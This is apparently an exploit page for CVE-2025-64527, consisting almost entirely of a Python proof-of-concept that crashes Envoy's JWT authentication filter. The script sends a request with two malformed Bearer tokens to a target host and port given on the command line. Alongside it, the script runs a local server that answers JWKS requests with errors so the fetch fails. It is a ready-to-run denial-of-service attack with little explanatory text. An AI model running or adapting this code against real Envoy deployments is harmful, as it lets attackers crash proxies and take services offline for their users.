CVE-2025-64527 Envoy JWT远程JWKS获取失败时崩溃漏洞

#!/usr/bin/env python3 """ CVE-2025-64527 PoC - Envoy JWT JWKS Fetch Failure DoS This PoC demonstrates the re-entry bug in JwksFetcherImpl that causes Envoy crash when multiple JWT tokens are present and JWKS fetch fails. Usage: 1. Setup Envoy with JWT authentication and remote JWKS 2. Configure allow_missing_or_failed: true 3. Block or make JWKS endpoint unreachable 4. Send request with multiple JWT tokens """ import http.server import socketserver import threading import time # Malicious JWT tokens (any malformed tokens will trigger JWKS fetch) MALICIOUS_TOKENS = [ "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.signature1", "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlNhbiBMYWJvcmEiLCJpYXQiOjE1MTYyMzkwMjJ9.signature2" ] def create_malicious_request(target_host, target_port): """Create HTTP request with multiple JWT tokens to trigger the bug""" request = f"""GET /protected-resource HTTP/1.1 Host: {target_host}:{target_port} Authorization: Bearer {MALICIOUS_TOKENS[0]} Authorization: Bearer {MALICIOUS_TOKENS[1]} User-Agent: CVE-2025-64527-PoC Accept: */* """ return request.encode() def block_jwks_requests(server_host="127.0.0.1", server_port=8080): """Block JWKS requests to simulate fetch failure""" class BlockingHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): if "/.well-known/jwks.json" in self.path: # Return error to trigger onJwksError callback self.send_response(500) self.end_headers() self.wfile.write(b'{"error": "Internal Server Error"}') else: self.send_response(404) self.end_headers() def log_message(self, format, *args): pass # Suppress logging with socketserver.TCPServer((server_host, server_port), BlockingHandler) as httpd: httpd.handle_request() def exploit(target_host, target_port): """Send malicious request to trigger Envoy crash""" import socket # Start JWKS blocking server in background blocker_thread = threading.Thread(target=block_jwks_requests) blocker_thread.daemon = True blocker_thread.start() time.sleep(0.5) # Send malicious request try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) sock.send(create_malicious_request(target_host, target_port)) response = sock.recv(4096) sock.close() print(f"[+] Request sent. Envoy may crash.") print(f"[*] Response: {response[:200]}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_host> <target_port>") sys.exit(1) exploit(sys.argv[1], int(sys.argv[2]))